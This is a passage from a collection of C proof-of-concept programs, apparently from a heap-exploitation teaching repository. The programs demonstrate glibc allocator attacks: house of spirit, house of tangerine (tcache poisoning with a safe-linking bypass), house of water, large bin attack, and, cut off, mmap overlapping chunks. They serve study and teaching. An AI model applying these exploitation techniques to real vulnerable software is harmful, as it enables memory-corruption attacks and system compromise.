0x28. \n\tprintf(\"Target Write at %p: 0x%llx\\n\", target_loc, *((unsigned long long*) (target_loc)));\n\tassert(*((unsigned long *) (target_loc)) != 0);\n}\n"
  },
  {
    "path": "glibc_2.40/house_of_spirit.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\nint main()\n{\n\tsetbuf(stdout, NULL);\n\n\tputs(\"This file demonstrates the house of spirit attack.\");\n\tputs(\"This attack adds a non-heap pointer into fastbin, thus leading to (nearly) arbitrary write.\");\n\tputs(\"Required primitives: known target address, ability to set up the start/end of the target memory\");\n\n\tputs(\"\\nStep 1: Allocate 7 chunks and free them to fill up tcache\");\n\tvoid *chunks[7];\n\tfor(int i=0; i<7; i++) {\n\t\tchunks[i] = malloc(0x30);\n\t}\n\tfor(int i=0; i<7; i++) {\n\t\tfree(chunks[i]);\n\t}\n\n\tputs(\"\\nStep 2: Prepare the fake chunk\");\n\t// This has nothing to do with fastbinsY (do not be fooled by the 10) - fake_chunks is just a piece of memory to fulfil allocations (pointed to from fastbinsY)\n\tlong fake_chunks[10] __attribute__ ((aligned (0x10)));\n\tprintf(\"The target fake chunk is at %p\\n\", fake_chunks);\n\tprintf(\"It contains two chunks. The first starts at %p and the second at %p.\\n\", &fake_chunks[1], &fake_chunks[9]);\n\tprintf(\"This chunk.size of this region has to be 16 more than the region (to accommodate the chunk data) while still falling into the fastbin category (<= 128 on x64). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\\n\");\n\tputs(\"... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end.\");\n\tprintf(\"Now set the size of the chunk (%p) to 0x40 so malloc will think it is a valid chunk.\\n\", &fake_chunks[1]);\n\tfake_chunks[1] = 0x40; // this is the size\n\n\tprintf(\"The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.\\n\");\n\tprintf(\"Set the size of the chunk (%p) to 0x1234 so freeing the first chunk can succeed.\\n\", &fake_chunks[9]);\n\tfake_chunks[9] = 0x1234; // nextsize\n\n\tputs(\"\\nStep 3: Free the first fake chunk\");\n\tputs(\"Note that the address of the fake chunk must be 16-byte aligned.\\n\");\n\tvoid *victim = &fake_chunks[2];\n\tfree(victim);\n\n\tputs(\"\\nStep 4: Take out the fake chunk\");\n\tprintf(\"Now the next calloc will return our fake chunk at %p!\\n\", &fake_chunks[2]);\n\tprintf(\"malloc can do the trick as well, you just need to do it for 8 times.\");\n\tvoid *allocated = calloc(1, 0x30);\n\tprintf(\"malloc(0x30): %p, fake chunk: %p\\n\", allocated, victim);\n\n\tassert(allocated == victim);\n}\n"
  },
  {
    "path": "glibc_2.40/house_of_tangerine.c",
    "content": "#define _GNU_SOURCE\n\n#include <stdio.h>\n#include <string.h>\n#include <assert.h>\n#include <malloc.h>\n#include <unistd.h>\n\n#define SIZE_SZ sizeof(size_t)\n\n#define CHUNK_HDR_SZ (SIZE_SZ*2)\n// same for x86_64 and x86\n#define MALLOC_ALIGN 0x10L\n#define MALLOC_MASK (-MALLOC_ALIGN)\n\n#define PAGESIZE sysconf(_SC_PAGESIZE)\n#define PAGE_MASK (PAGESIZE-1)\n\n// fencepost are offsets removed from the top before freeing\n#define FENCEPOST (2*CHUNK_HDR_SZ)\n\n#define PROBE (0x20-CHUNK_HDR_SZ)\n\n// size used for poisoned tcache\n#define CHUNK_SIZE_1 0x40\n#define SIZE_1 (CHUNK_SIZE_1-CHUNK_HDR_SZ)\n\n// could also be split into multiple lower size allocations\n#define CHUNK_SIZE_3 (PAGESIZE-(2*MALLOC_ALIGN)-CHUNK_SIZE_1)\n#define SIZE_3 (CHUNK_SIZE_3-CHUNK_HDR_SZ)\n\n/**\n * Tested on GLIBC 2.34 (x86_64, x86 & aarch64) & 2.39 (x86_64, x86 & aarch64)\n *\n * House of Tangerine is the modernized version of House of Orange\n * and is able to corrupt heap without needing to call free() directly\n *\n * it uses the _int_free call to the top_chunk (wilderness) in sysmalloc\n * https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c#L2913\n *\n * tcache-poisoning is used to trick malloc into returning a malloc aligned arbitrary pointer\n * by abusing the tcache freelist. (requires heap leak on and after 2.32)\n *\n * this version expects a positive and negative OOB (e.g. BOF)\n * or a positive OOB in editing a previous chunk\n *\n * This version requires 5 (6*) malloc calls and 3 OOB\n *\n *  *to make the PoC more reliable we need to malloc and probe the current top chunk size,\n *  this should be predictable in an actual exploit and therefore, can be removed to get 5 malloc calls instead\n *\n * Special Thanks to pepsipu for creating the challenge \"High Frequency Troubles\"\n * from Pico CTF 2024 that inspired this exploitation technique\n */\nint main() {\n  size_t size_2, *top_size_ptr, top_size, new_top_size, freed_top_size, vuln_tcache, target, *heap_ptr;\n  char win[0x10] = \"WIN\\0WIN\\0WIN\\0\\x06\\xfe\\x1b\\xe2\";\n  // disable buffering\n  setvbuf(stdout, NULL, _IONBF, 0);\n  setvbuf(stdin, NULL, _IONBF, 0);\n  setvbuf(stderr, NULL, _IONBF, 0);\n\n  // check if all chunks sizes are aligned\n  assert((CHUNK_SIZE_1 & MALLOC_MASK) == CHUNK_SIZE_1);\n  assert((CHUNK_SIZE_3 & MALLOC_MASK) == CHUNK_SIZE_3);\n\n  puts(\"Constants:\");\n  printf(\"chunk header = 0x%lx\\n\", CHUNK_HDR_SZ);\n  printf(\"malloc align = 0x%lx\\n\", MALLOC_ALIGN);\n  printf(\"page align = 0x%lx\\n\", PAGESIZE);\n  printf(\"fencepost size = 0x%lx\\n\", FENCEPOST);\n  printf(\"size_1 = 0x%lx\\n\", SIZE_1);\n\n  printf(\"target tcache top size = 0x%lx\\n\", CHUNK_HDR_SZ + MALLOC_ALIGN + CHUNK_SIZE_1);\n\n  // target is malloc aligned 0x10\n  target = ((size_t) win + (MALLOC_ALIGN - 1)) & MALLOC_MASK;\n\n  // probe the current size of the top_chunk,\n  // can be skipped if it is already known or predictable\n  heap_ptr = malloc(PROBE);\n  top_size = heap_ptr[(PROBE / SIZE_SZ) + 1];\n  printf(\"first top size = 0x%lx\\n\", top_size);\n\n  // calculate size_2\n\n  size_2 = top_size - CHUNK_HDR_SZ - (2 * MALLOC_ALIGN) - CHUNK_SIZE_1;\n  size_2 &= PAGE_MASK;\n  size_2 &= MALLOC_MASK;\n\n\n  printf(\"size_2 = 0x%lx\\n\", size_2);\n\n  // first allocation \n  heap_ptr = malloc(size_2);\n\n  // use BOF or OOB to corrupt the top_chunk\n  top_size_ptr = &heap_ptr[(size_2 / SIZE_SZ) - 1 + (MALLOC_ALIGN / SIZE_SZ)];\n\n  top_size = *top_size_ptr;\n\n  printf(\"first top size = 0x%lx\\n\", top_size);\n\n  // make sure corrupt top size is page aligned, generally 0x1000\n  // https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c#L2599\n  new_top_size = top_size & PAGE_MASK;\n  *top_size_ptr = new_top_size;\n  printf(\"new first top size = 0x%lx\\n\", new_top_size);\n\n  // remove fencepost from top_chunk, to get size that will be freed\n  // https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c#L2895\n  freed_top_size = (new_top_size - FENCEPOST) & MALLOC_MASK;\n  assert(freed_top_size == CHUNK_SIZE_1);\n\n  /*\n   * malloc (larger than available_top_size), to free previous top_chunk using _int_free.\n   * This happens inside sysmalloc, where the top_chunk gets freed if it can't be merged\n   * https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c#L2913\n   * we prevent the top_chunk from being merged by lowering its size\n   * we can also circumvent corruption checks by keeping PAGE_MASK bits unchanged\n   */\n\n  printf(\"size_3 = 0x%lx\\n\", SIZE_3);\n  heap_ptr = malloc(SIZE_3);\n\n  top_size = heap_ptr[(SIZE_3 / SIZE_SZ) + 1];\n  printf(\"current top size = 0x%lx\\n\", top_size);\n\n  // make sure corrupt top size is page aligned, generally 0x1000\n  new_top_size = top_size & PAGE_MASK;\n  heap_ptr[(SIZE_3 / SIZE_SZ) + 1] = new_top_size;\n  printf(\"new top size = 0x%lx\\n\", new_top_size);\n\n  // remove fencepost from top_chunk, to get size that will be freed\n  freed_top_size = (new_top_size - FENCEPOST) & MALLOC_MASK;\n  printf(\"freed top_chunk size = 0x%lx\\n\", freed_top_size);\n\n  assert(freed_top_size == CHUNK_SIZE_1);\n\n  // this will be our vuln_tcache for tcache poisoning\n  vuln_tcache = (size_t) &heap_ptr[(SIZE_3 / SIZE_SZ) + 2];\n\n  printf(\"tcache next ptr: 0x%lx\\n\", vuln_tcache);\n\n  // free the previous top_chunk\n  heap_ptr = malloc(SIZE_3);\n\n  // corrupt next ptr into pointing to target\n  // use a heap leak to bypass safe linking (GLIBC >= 2.32)\n  heap_ptr[(vuln_tcache - (size_t) heap_ptr) / SIZE_SZ] = target ^ (vuln_tcache >> 12);\n\n  // allocate first tcache (corrupt next tcache bin)\n  heap_ptr = malloc(SIZE_1);\n\n  // get arbitrary ptr for reads or writes\n  heap_ptr = malloc(SIZE_1);\n\n  // proof that heap_ptr now points to the same string as target\n  assert((size_t) heap_ptr == target);\n  puts((char *) heap_ptr);\n}\n"
  },
  {
    "path": "glibc_2.40/house_of_water.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\n/* \n * House of Water is a technique for converting a Use-After-Free (UAF) vulnerability into a tcache\n * metadata control primitive.\n *\n * Modified House of Water: This technique no longer requires 4-bit bruteforce, even if you cannot increment integers.\n * There is no need to forge a size field inside the tcache structure, as the fake chunk is linked through a small bin.\n * An article explaining this newer variant and its differences from the original House of Water can be found at:\n * https://github.com/4f3rg4n/CTF-Events-Writeups/blob/main/Potluck-CTF-2023/House_Of_Water_Smallbin_Variant.md\n *\n * The technique starts by allocating the 'relative chunk' immediately after tcache metadata,\n * sharing the same ASLR-partially-controlled second nibble (which is 2) as the target fake chunk location.\n * \n * Then it crafts fake tcache entries in the 0x320 & 0x330 bins using two other controlled chunks matching the 'relative chunk' size,\n * then frees all three chunks into the unsorted bin while keeping the 'relative chunk' centered.\n * A large allocation sorts them into the same small bin linked list.\n * \n * UAF overwrites the LSB of the 'first chunk' fd and the 'end chunk' bk pointers with 0x00, redirecting both to the fake tcache chunk on the tcache.\n * Finally, it drains the tcache; the next allocation returns the 'first chunk' from the small bin and moves remaining chunks into tcache,\n * then the second allocation returns the 'end chunk', and the final allocation returns the fake chunk for `tcache_perthread_struct` control.\n *\n * Technique / house by @udp_ctf - Water Paddler / Blue Water \n * Small-bin variant modified by @4f3rg4n - CyberEGGs.\n */\n\n\n\nvoid dump_memory(void *addr, unsigned long count) {\n\tfor (unsigned int i = 0; i < count*16; i += 16) {\n\t\tprintf(\"0x%016lx\\t\\t0x%016lx  0x%016lx\\n\", (unsigned long)(addr+i), *(long *)(addr+i), *(long *)(addr+i+0x8));\n\t}\t\n}\n\nint main(void) {\n\t// Dummy variable\n\tvoid *_ = NULL;\n\n\t// Prevent _IO_FILE from buffering in the heap\n\tsetbuf(stdin, NULL);\n\tsetbuf(stdout, NULL);\n\tsetbuf(stderr, NULL);\n\n\n\tputs(\"\\n\");\n\tputs(\"\\t==============================\");\n\tputs(\"\\t|           STEP 1           |\");\n\tputs(\"\\t==============================\");\n\tputs(\"\\n\");\n\n\t// Step 1: Create the unsorted bins linked list, used for hijacking at a later time\n\n\tputs(\"Now, allocate three 0x90 chunks with guard chunks in between. This prevents\");\n\tputs(\"chunk-consolidation and sets our target for the house of water attack.\");\n\tputs(\"\\t- chunks:\");\n\n\tvoid *relative_chunk = malloc(0x88);\n\tprintf(\"\\t\\t* relative_chunk\\t@ %p\\n\", relative_chunk);\n\t_ = malloc(0x18); // Guard chunk\n\t\n\tputs(\"\\t\\t* /guard/\");\n\n\tvoid *small_start = malloc(0x88);\n\tprintf(\"\\t\\t* small_start\\t@ %p\\n\", small_start);\n\t_ = malloc(0x18); // Guard chunk\n\t\n\tputs(\"\\t\\t* /guard/\");\n\n\tvoid *small_end = malloc(0x88);\n\tprintf(\"\\t\\t* small_end\\t@ %p\\n\", small_end);\n\t_ = malloc(0x18); // Guard chunk\n\t\n\tputs(\"\\t\\t* /guard/\");\n\t\n\tputs(\"\");\n\n\n\tputs(\"\\n\");\n\tputs(\"\\t==============================\");\n\tputs(\"\\t|           STEP 2           |\");\n\tputs(\"\\t==============================\");\n\tputs(\"\\n\");\n\n\t// Step 2: Fill up t-cache for 0x90 size class\n\t\n\t// This is just to make a pointer to the t-cache metadata for later.\n\tvoid *metadata = (void *)((long)(relative_chunk) & ~(0xfff));\n\n\t// Make allocations to free such that we can exhaust the 0x90 t-cache\n\tputs(\"Allocate 7 0x88 chunks needed to fill out the 0x90 t-cache at a later time\");\n\tvoid *x[7];\n\tfor (int i = 0; i < 7; i++) {\n\t\tx[i] = malloc(0x88);\n\t}\n\n\tputs(\"\");\n\n\t// Free t-cache entries\n\tputs(\"Fill up the 0x90 t-cache with the chunks allocated from earlier by free'ing them.\");\n\tputs(\"By doing so, the next time a 0x88 chunk is free'd, it ends up in the unsorted-bin\");\n\tputs(\"instead of the t-cache or small-bins.\");\n\tfor (int i = 0; i < 7; i++) {\n\t\tfree(x[i]);\n\t}\n\n\t\n\tputs(\"\\n\");\n\tputs(\"\\t==============================\");\n\tputs(\"\\t|           STEP 3           |\");\n\tputs(\"\\t==============================\");\n\tputs(\"\\n\");\n\n\t// Step 3: Create a 0x320 and a 0x330 t-cache entry which overlaps small_start and small_end.\n\t// By doing this, we can blindly fake a FWD and BCK pointer in the t-cache metadata!\n\t\t\n\tputs(\"Here comes the trickiest part!\\n\");\n\t\n\tputs(\"We essentially want a pointer in the 0x320 t-cache metadata to act as a FWD\\n\");\n\tputs(\"pointer and a pointer in the 0x330 t-cache to act as a BCK pointer.\");\n\tputs(\"We want it such that it points to the chunk header of our small bin entries,\\n\");\n\tputs(\"and not at the chunk itself which is common for t-cache.\\n\");\n\n\tputs(\"Using a technique like house of botcake or a stronger arb-free primitive, free a\");\n\tputs(\"chunk such that it overlaps with the header of unsorted_start and unsorted_end.\");\n\tputs(\"\");\n\n\tputs(\"It should look like the following:\");\n\tputs(\"\");\n\t\n\tputs(\"small_start:\");\n\tprintf(\"0x%016lx\\t\\t0x%016lx  0x%016lx  <-- tcachebins[0x330][0/1], unsortedbin[all][0]\\n\", (unsigned long)(small_start-0x10), *(long *)(small_start-0x10), *(long *)(small_start-0x8));\n\tdump_memory(small_start, 2);\n\tputs(\"\");\n\n\tputs(\"small_end:\");\n\tprintf(\"0x%016lx\\t\\t0x%016lx  0x%016lx  <-- tcachebins[0x320][0/1], unsortedbin[all][2]\\n\", (unsigned long)(small_end-0x10), *(long *)(small_end-0x10), *(long *)(small_end-0x8));\n\tdump_memory(small_end, 2);\n\n\tputs(\"\\n\");\n\tputs(\"If you want to see a blind example using only double free, see the following chal: \");\n\tputs(\"https://github.com/UDPctf/CTF-challenges/tree/main/Potluck-CTF-2023/Tamagoyaki\");\n\tputs(\"\");\n\tputs(\"Note: See this if you want to see the same example but with the modified House of Water version: \");\n\tputs(\"https://github.com/4f3rg4n/CTF-Events-Writeups/blob/main/Potluck-CTF-2023/Tamagoyaki.md\");\n\tputs(\"\\n\");\n\n\tputs(\"For the sake of simplicity, let's just simulate an arbitrary free primitive.\");\n\tputs(\"\\n\");\n\t\n\t\n\tputs(\"--------------------\");\n\tputs(\"|      PART 1      |\");\n\tputs(\"--------------------\");\n\tputs(\"\\n\");\n\n\t// Step 3 part 1:\n\tputs(\"Write 0x331 above small_start to enable its free'ing into the 0x330 t-cache.\");\n\tprintf(\"\\t*%p-0x18 = 0x331\\n\", small_start);\n\t*(long*)(small_start-0x18) = 0x331;\n\tputs(\"\");\n\n\tputs(\"This creates a 0x331 entry just above small_start, which looks like the following:\");\n\tdump_memory(small_start-0x20, 3);\n\tputs(\"\");\n\n\tprintf(\"Free the faked 0x331 chunk @ %p\\n\", small_start-0x10);\n\tfree(small_start-0x10); // Create a fake FWD\n\tputs(\"\");\n\t\n\tputs(\"Finally, because of the meta-data created by free'ing the 0x331 chunk, we need to\");\n\tputs(\"restore the original header of the small_start chunk by restoring the 0x91 header:\");\n\tprintf(\"\\t*%p-0x8 = 0x91\\n\", small_start);\n\t*(long*)(small_start-0x8) = 0x91;\n\tputs(\"\");\n\n\tputs(\"Now, let's do the same for small_end except using a 0x321 faked chunk.\");\n\tputs(\"\");\n\n\n\tputs(\"--------------------\");\n\tputs(\"|      PART 2      |\");\n\tputs(\"--------------------\");\n\tputs(\"\\n\");\n\n\t// Step 3 part 2:\n\tputs(\"Write 0x321 above small_end, such that it can be free'd into the 0x320 t-cache:\");\n\tprintf(\"\\t*%p-0x18 = 0x321\\n\", small_end);\n\t*(long*)(small_end-0x18) = 0x321;\n\tputs(\"\");\n\t\n\tputs(\"This creates a 0x321 just above small_end, which looks like the following:\");\n\tdump_memory(small_end-0x20, 3);\n\tputs(\"\");\n\t\n\tprintf(\"Free the faked 0x321 chunk @ %p\\n\", small_end-0x10);\n\tfree(small_end-0x10); // Create a fake BCK\n\tputs(\"\");\n\t\n\tputs(\"restore the original header of the small_end chunk by restoring the 0x91 header:\");\n\tprintf(\"\\t*%p-0x8 = 0x91\\n\", small_end);\n\t*(long*)(small_end-0x8) = 0x91;\n\tputs(\"\");\n\n\n\tputs(\"\\n\");\n\tputs(\"\\t==============================\");\n\tputs(\"\\t|           STEP 4           |\");\n\tputs(\"\\t==============================\");\n\tputs(\"\\n\");\n\n\t// Step 4: Create the small bin list by freeing small_start, relative_chunk, small_end into the unsorted bin,\n\t// then allocate large chunk that will sort the unsorted bin into small bins.\n\n\tputs(\"Now, let's free the the chunks into the unsorted bin.\");\n\t\n\tputs(\"\\t> free(small_end);\");\n\tfree(small_end);\n\t\n\tputs(\"\\t> free(relative_chunk);\");\n\tfree(relative_chunk);\n\t\n\tputs(\"\\t> free(small_start);\");\n\tfree(small_start);\n\t\n\tputs(\"\\n\");\n\n\tputs(\"Now allocate a large chunk to trigger the sorting of the unsorted bin entries into the small bin.\");\n\t_ = malloc(0x700);\n\n\tputs(\"\");\n\n\t// Show the setup as is\t\n\t\n\tputs(\"At this point, our heap looks something like this:\");\n\t\n\tprintf(\"\\t- Small bin:\\n\");\n\tputs(\"\\t\\tsmall_start <--> relative_chunk <--> small_end\");\n\tprintf(\"\\t\\t%p <--> %p <--> %p\\n\", small_start-0x10, relative_chunk-0x10, small_end-0x10);\n\t\n\tprintf(\"\\t- 0x320 t-cache:\\n\");\n\tprintf(\"\\t\\t* 0x%lx\\n\", *(long*)(metadata+0x390));\n\tprintf(\"\\t- 0x330 t-cache\\n\");\n\tprintf(\"\\t\\t* 0x%lx\\n\", *(long*)(metadata+0x398));\n\tputs(\"\");\n\n\tputs(\"The fake chunk in the t-cache will look like the following:\");\n\tdump_memory(metadata+0x370, 4);\n\tputs(\"\");\n\n\tputs(\"We can now observe that the 0x330 t-cache points to small_start and 0x320 t-cache points to \");\n\tputs(\"small_end, which is what we need to fake a small-bin entry and hijack relative_chunk.\");\n\n\n\tputs(\"\\n\");\n\tputs(\"\\t==============================\");\n\tputs(\"\\t|           STEP 5           |\");\n\tputs(\"\\t==============================\");\n\tputs(\"\\n\");\n\n\t// Step 5: Overwrite LSB of small_start and small_end to point to the fake t-cache metadata chunk\n\tputs(\"Finally, all there is left to do is simply overwrite the LSB of small_start FWD-\");\n\tputs(\"and BCK pointer for small_end to point to the faked t-cache metadata chunk.\");\n\tputs(\"\");\n\n\t// Note: we simply overwrite the LSBs of small_start and small_end with a single NULL byte instead of 0x90;\n\t// As a result, they point to our fake chunk in the tcache, which shares the same second-byte ASLR nibble (0x2) as the relative_chunk.\n\n\t/* VULNERABILITY */\n\tprintf(\"\\t- small_start:\\n\");\n\tprintf(\"\\t\\t*%p = %p\\n\", small_start, metadata+0x200);\n\t*(unsigned long *)small_start = (unsigned long)(metadata+0x200);\n\tputs(\"\");\n\n\tprintf(\"\\t- small_end:\\n\");\n\tprintf(\"\\t\\t*%p = %p\\n\", small_end, metadata+0x200);\n\t*(unsigned long *)(small_end+0x8) = (unsigned long)(metadata+0x200);\n\tputs(\"\");\n\t/* VULNERABILITY */\n\n\tputs(\"At this point, the small bin will look like the following:\");\n\tputs(\"\");\n\n\tputs(\"\\t- small bin:\");\n\tprintf(\"\\t\\t small_start <--> metadata chunk <--> small_end\\n\");\n\tprintf(\"\\t\\t %p\\t     %p      %p\\n\", small_start, metadata+0x200, small_end);\n\n\n\tputs(\"\\n\");\n\tputs(\"\\t==============================\");\n\tputs(\"\\t|           STEP 6           |\");\n\tputs(\"\\t==============================\");\n\tputs(\"\\n\");\n\n\t// Step 6: allocate to win\n\tputs(\"Now, simply just allocate our fake chunk which is placed inside the small bin\");\n\tputs(\"But first, we need to clean the t-cache for 0x90 size class to force malloc to\");\n\tputs(\"service the allocation from the small bin.\");\n\n\tfor(int i = 7; i > 0; i--)\n\t\t_ = malloc(0x88);\n\n\t// Allocating small_start, and small_end again to remove them from the 0x90 t-cache bin\n\t_ = malloc(0x88);\n\t_ = malloc(0x88);\n\n\n\t// Next allocation *could* be our faked chunk!\n\tvoid *meta_chunk = malloc(0x88);\n\n\tprintf(\"\\t\\tNew chunk\\t @ %p\\n\", meta_chunk);\n\tprintf(\"\\t\\tt-cache metadata @ %p\\n\", metadata);\n\tassert(meta_chunk == (metadata+0x210));\n\n\tputs(\"\");\n}\n"
  },
  {
    "path": "glibc_2.40/large_bin_attack.c",
    "content": "#include<stdio.h>\n#include<stdlib.h>\n#include<assert.h>\n\n/*\n\nA revisit to large bin attack for after glibc2.30\n\nRelevant code snippet :\n\n\tif ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk)){\n\t\tfwd = bck;\n\t\tbck = bck->bk;\n\t\tvictim->fd_nextsize = fwd->fd;\n\t\tvictim->bk_nextsize = fwd->fd->bk_nextsize;\n\t\tfwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;\n\t}\n\n\n*/\n\nint main(){\n  /*Disable IO buffering to prevent stream from interfering with heap*/\n  setvbuf(stdin,NULL,_IONBF,0);\n  setvbuf(stdout,NULL,_IONBF,0);\n  setvbuf(stderr,NULL,_IONBF,0);\n\n  printf(\"\\n\\n\");\n  printf(\"Since glibc2.30, two new checks have been enforced on large bin chunk insertion\\n\\n\");\n  printf(\"Check 1 : \\n\");\n  printf(\">    if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))\\n\");\n  printf(\">        malloc_printerr (\\\"malloc(): largebin double linked list corrupted (nextsize)\\\");\\n\");\n  printf(\"Check 2 : \\n\");\n  printf(\">    if (bck->fd != fwd)\\n\");\n  printf(\">        malloc_printerr (\\\"malloc(): largebin double linked list corrupted (bk)\\\");\\n\\n\");\n  printf(\"This prevents the traditional large bin attack\\n\");\n  printf(\"However, there is still one possible path to trigger large bin attack. The PoC is shown below : \\n\\n\");\n  \n  printf(\"====================================================================\\n\\n\");\n\n  size_t target = 0;\n  printf(\"Here is the target we want to overwrite (%p) : %lu\\n\\n\",&target,target);\n  size_t *p1 = malloc(0x428);\n  printf(\"First, we allocate a large chunk [p1] (%p)\\n\",p1-2);\n  size_t *g1 = malloc(0x18);\n  printf(\"And another chunk to prevent consolidate\\n\");\n\n  printf(\"\\n\");\n\n  size_t *p2 = malloc(0x418);\n  printf(\"We also allocate a second large chunk [p2]  (%p).\\n\",p2-2);\n  printf(\"This chunk should be smaller than [p1] and belong to the same large bin.\\n\");\n  size_t *g2 = malloc(0x18);\n  printf(\"Once again, allocate a guard chunk to prevent consolidate\\n\");\n\n  printf(\"\\n\");\n\n  free(p1);\n  printf(\"Free the larger of the two --> [p1] (%p)\\n\",p1-2);\n  size_t *g3 = malloc(0x438);\n  printf(\"Allocate a chunk larger than [p1] to insert [p1] into large bin\\n\");\n\n  printf(\"\\n\");\n\n  free(p2);\n  printf(\"Free the smaller of the two --> [p2] (%p)\\n\",p2-2);\n  printf(\"At this point, we have one chunk in large bin [p1] (%p),\\n\",p1-2);\n  printf(\"               and one chunk in unsorted bin [p2] (%p)\\n\",p2-2);\n\n  printf(\"\\n\");\n\n  p1[3] = (size_t)((&target)-4);\n  printf(\"Now modify the p1->bk_nextsize to [target-0x20] (%p)\\n\",(&target)-4);\n\n  printf(\"\\n\");\n\n  size_t *g4 = malloc(0x438);\n  printf(\"Finally, allocate another chunk larger than [p2] (%p) to place [p2] (%p) into large bin\\n\", p2-2, p2-2);\n  printf(\"Since glibc does not check chunk->bk_nextsize if the new inserted chunk is smaller than smallest,\\n\");\n  printf(\"  the modified p1->bk_nextsize does not trigger any error\\n\");\n  printf(\"Upon inserting [p2] (%p) into largebin, [p1](%p)->bk_nextsize->fd_nextsize is overwritten to address of [p2] (%p)\\n\", p2-2, p1-2, p2-2);\n\n  printf(\"\\n\");\n\n  printf(\"In our case here, target is now overwritten to address of [p2] (%p), [target] (%p)\\n\", p2-2, (void *)target);\n  printf(\"Target (%p) : %p\\n\",&target,(size_t*)target);\n\n  printf(\"\\n\");\n  printf(\"====================================================================\\n\\n\");\n\n  assert((size_t)(p2-2) == target);\n\n  return 0;\n}\n"
  },
  {
    "path": "glibc_2.40/mmap_overlapping_chunks.c",
    "content": "#include <stdlib.h>\n#include <stdio.h>\n#include <assert.h>\n#include <unistd.h>\n\n/*\nTechnique should work on all versions of GLibC\nCompile: `gcc mmap_overlapping_chunks.c -o mmap_overlapping_chunks -g`\n\nPOC written by POC written by Maxwell Dulin (Strikeout) \n*/\nint main()\n{\n\t/*\n\tA primer on Mmap chunks in GLibC\n\t==================================\n\tIn GLibC, there is a point where an allocation is so large that malloc\n\tdecides that we need a seperate section of memory for it, instead \n\tof allocating it on the normal heap. This is determined by the mmap_threshold var.\n\tInstead of the normal logic for getting a chunk, the system call *Mmap* is \n\tused. This allocates a section of virtual memory and gives it back to the user. \n\n\tSimilarly, the freeing process is going to be different. Instead \n\tof a free chunk being given back to a bin or to the rest of the heap,\n\tanother syscall is used: *Munmap*. This takes in a pointer of a previously \n\tallocated Mmap chunk and releases it back to the kernel. \n\n\tMmap chunks have special bit set on the size metadata: the second bit. If this \n\tbit is set, then the chunk was allocated as an Mmap chunk. \n\n\tMmap chunks have a prev_size and a size. The *size* represents the current \n\tsize of the chunk. The *prev_size* of a chunk represents the left over space\n\tfrom the size of the Mmap chunk (not the chunks directly belows size). \n\tHowever, the fd and bk pointers are not used, as Mmap chunks do not go back \n\tinto bins, as most heap chunks in GLibC Malloc do. Upon freeing, the size of \n\tthe chunk must be page-aligned.\n\n\tThe POC below is essentially an overlapping chunk attack but on mmap chunks. \n\tThis is very similar to https://github.com/shellphish/how2heap/blob/master/glibc_2.26/overlapping_chunks.c. \n\tThe main difference is that mmapped chunks have special properties and are \n\thandled in different ways, creating different attack scenarios than normal \n\toverlapping chunk attacks. There are other things that can be done, \n\tsuch as munmapping system libraries, the heap itself and other things.\n\tThis is meant to be a simple proof of concept to demonstrate the general \n\tway to perform an attack on an mmap chunk.\n\n\tFor more information on mmap chunks in GLibC, read this post: \n\thttp://tukan.farm/2016/07/27/munmap-madness/\n\t*/\n\n\tint* ptr1 = malloc(0x10); \n\n\tprintf(\"This is performing an overlapping chunk attack but on extremely large chunks (mmap chunks).\\n\");\n\tprintf(\"Extremely large chunks are special because they are allocated in their own mmaped section\\n\");\n\tprintf(\"of memory, instead of being put onto the normal heap.\\n\");\n\tputs(\"=======================================================\\n\");\n\tprintf(\"Allocating three extremely large heap chunks of size 0x100000 \\n\\n\");\n\t\t\n\tlong long* top_ptr = malloc(0x100000);\n\tprintf(\"The first mmap chunk goes directly above LibC: %p\\n\",top_ptr);\n\n\t// After this, all chunks are allocated downwards in memory towards the heap.\n\tlong long* mmap_chunk_2 = malloc(0x100000);\n\tprintf(\"The second mmap chunk goes below LibC: %p\\n\", mmap_chunk_2);\n\n\tlong long* mmap_chunk_3 = malloc(0x100000);\n\tprintf(\"The third mmap chunk goes below the second mmap chunk: %p\\n\", mmap_chunk_3);\n\n\tprintf(\"\\nCurrent System Memory Layout \\n\" \\\n\"================================================\\n\" \\\n\"running program\\n\" \\\n\"heap\\n\" \\\n\"....\\n\" \\\n\"third mmap chunk\\n\" \\\n\"second mmap chunk\\n\" \\\n\"LibC\\n\" \\\n\"....\\n\" \\\n\"ld\\n\" \\\n\"first mmap chunk\\n\"\n\"===============================================\\n\\n\" \\\n);\n\t\n\tprintf(\"Prev Size of third mmap chunk: 0x%llx\\n\", mmap_chunk_3[-2]);\n\tprintf(\"Size of third mmap chunk: 0x%llx\\n\\n\", mmap_chunk_3[-1]);\n\n\tprintf(\"Change the size of the third mmap chunk to overlap with the second mmap chunk\\n\");\t\n\tprintf(\"This will cause both chunks to be Munmapped and given back to the system\\n\");\n\tprintf(\"This is where the vulnerability occurs; corrupting the size or prev_size of a chunk\\n\");\n\n\t// Vulnerability!!! This could be triggered by an improper index or a buffer overflow from a chunk further below.\n\t// Additionally, this same attack can be used with the prev_size instead of the size.\n\tmmap_chunk_3[-1] = (0xFFFFFFFFFD & mmap_chunk_3[-1]) + (0xFFFFFFFFFD & mmap_chunk_2[-1]) | 2;\n\tprintf(\"New size of third mmap chunk: 0x%llx\\n\", mmap_chunk_3[-1]);\n\tprintf(\"Free the third mmap chunk, which munmaps the second and third chunks\\n\\n\");\n\n\t/*\n\tThis next call to free is actually just going to call munmap on the pointer we are passing it.\n\tThe source code for this can be found at https://elixir.bootlin.com/glibc/glibc-2.26/source/malloc/malloc.c#L2845\n\n\tWith normal frees the 